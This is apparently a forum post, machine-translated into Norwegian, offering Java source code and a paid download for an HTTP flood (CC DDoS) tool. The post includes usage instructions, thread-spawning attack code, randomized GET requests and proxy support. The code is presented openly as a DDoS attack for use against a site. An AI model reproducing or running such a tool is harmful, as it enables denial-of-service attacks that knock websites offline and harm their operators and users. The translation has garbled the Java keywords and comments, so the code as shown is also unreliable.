JAR-kode
dDOS-angrep implementert av Java.
Det er imidlertid ikke annerledes enn tradisjonelle dDo-er.
Denne programvaren er et DDOS-angrep på en side.
Slik bruker du:
Java -jar ccddos.jar www.xxx.com 80 10 /index.do brukernavn=xxx 80
[mw_shl_code=java,true]import java.io.IOException;
importere java.net.ConnectException;
importere java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
importere java.nio.channels.Selector;
importere java.nio.channels.SocketChannel;
import java.util.Iterator;
importere java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
importere java.util.Vector;
/**
* Demontråder
*
* @author administrasjon
*
*/
offentlig klassetest {
privat String-vert, uri, param;
privat innfartshavn;
privat final Vector<CCDDOSThread> v = ny Vector<CCDDOSThread>();
privat InetSocketAddress isa;
private int-tråderAntall = 500; Antall tråder
privat Tilfeldig r = ny Tilfeldig();
privat lang timeout = 5000 pund;
/**
* Åpne angrepet
*/
public void start() {
for (int i = 0; i < threadsCount; i++) {
CCDDOSThread t = ny CCDDOSThread();
v.add(t);
t.start();
}
Timer t = ny Timer();
t.schedule(new TimerTask() {
offentlig void run() {
int count = 0, timeoutthreads = 0;
lang ct = System.currentTimeMillis();
for (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) {
CCDDOSThread th = den.neste();
hvis (th.isCancle() || !th.isAlive()) {
it.fjern();
th = null;
tell++;
} ellers hvis (ct - th.start > timeout) {
Timeout, ekstern slutt
timeoutthreads++;
th.setCancle(true);
th.interrupt();
it.fjern();
th = null;
tell++;
}
}
hvis (antall == 0) {
retur;
}
System.out.println("Tråden har blitt lukket:"+count+", hvor timeout-tråden er koblet til:"
+ timeout-tråder);
for (int i = 0; Jeg < telle; i++) {
CCDDOSThread th = ny CCDDOSThread();
v.add(th);
th.start();
}
}
}, 0l, 100p);
System.out.println("Daemontråd startet:");
}
/**
* @param args
*/
offentlig statisk void main(String[] args) {
hvis (args.length < 6) {
System.out.println ("Instruksjoner:");
System.out
.println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
System.out.println("");
System.exit(0);
} ellers hvis (args.length >= 8) {
Sett opp med en agent
System.getProperties().put("proxySet", "true");
System.getProperties().setProperty("http.proxyHost", args[6]);
System.getProperties().setProperty("http.proxyPort", args[7]);
}
test m = ny test();
m.host = args[0];
m.port = Integer.valueOf(args[1]);
m.uri = args[3];
m.param = args[4];
m.threadsCount = Integer.valueOf(args[2]);
m.timeout = Long.valueOf(args[5]);
m.isa = ny InetSocketAddress(m.host, m.port);
m.start();
}
/**
* Angrepstråder
*
* @author Zhanghongbo
*
*/
class CCDDOSThread utvider Thread {
privat boolsk kankel = falsk;
offentlig lang start = System.currentTimeMillis();
public void setCancle(boolean cancle) {
this.cancle = cancle;
}
offentlig boolean isCancle() {
returner cancle;
}
offentlig void run() {
lang start = System.currentTimeMillis();
Velgervelger;
try {
selector = Selector.open();
SocketChannel sc;
try {
sc = SocketChannel.open(isa);
} catch (ConnectException ex) {
System.out.println(ex.getMessage());
cancle = sann;
selector.close();
retur;
}
sc.configureBlocking(false);
sc.register(selector, SelectionKey.OP_WRITE
| SelectionKey.OP_READ);
wait: while (selector.select() > 0 && !cancle) {
hvis (System.currentTimeMillis() - start > timeout) {
cancle = sann;
Pause vent;
}
Set<?> readykey = selector.selectedKeys();
Iterator<?> det = readykey.iterator();
mens (it.hasNext() && !cancle) {
hvis (System.currentTimeMillis() - start > timeout) {
cancle = sann;
Pause vent;
}
SelectionKey skey = (SelectionKey) it.next();
it.fjern();
SocketChannel scc = (SocketChannel) skey.channel();
hvis ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
Strenghode = "GET " + uri + "?" + param
+ "&rndnum=" + r.nextInt()
+ " HTTP/1.1\r\n" + "Host: " + host
+ "\r\n" + "Connection:close\r\n" + "\r\n";
ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
scc.write(bbf);
}
skey.cancel();
scc.close();
}
}
selector.close();
sc.close();
} catch (IOException ex) {
cancle = sann;
}
}
}
}
[/mw_shl_code]
Ferdig produkt og kildekode nedlasting:
java ddos.zip
(8.42 KB, Antall nedlastinger: 0, Salgspris: 2 Korn MB)
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Publisert på 01.12.2014 15:21:57
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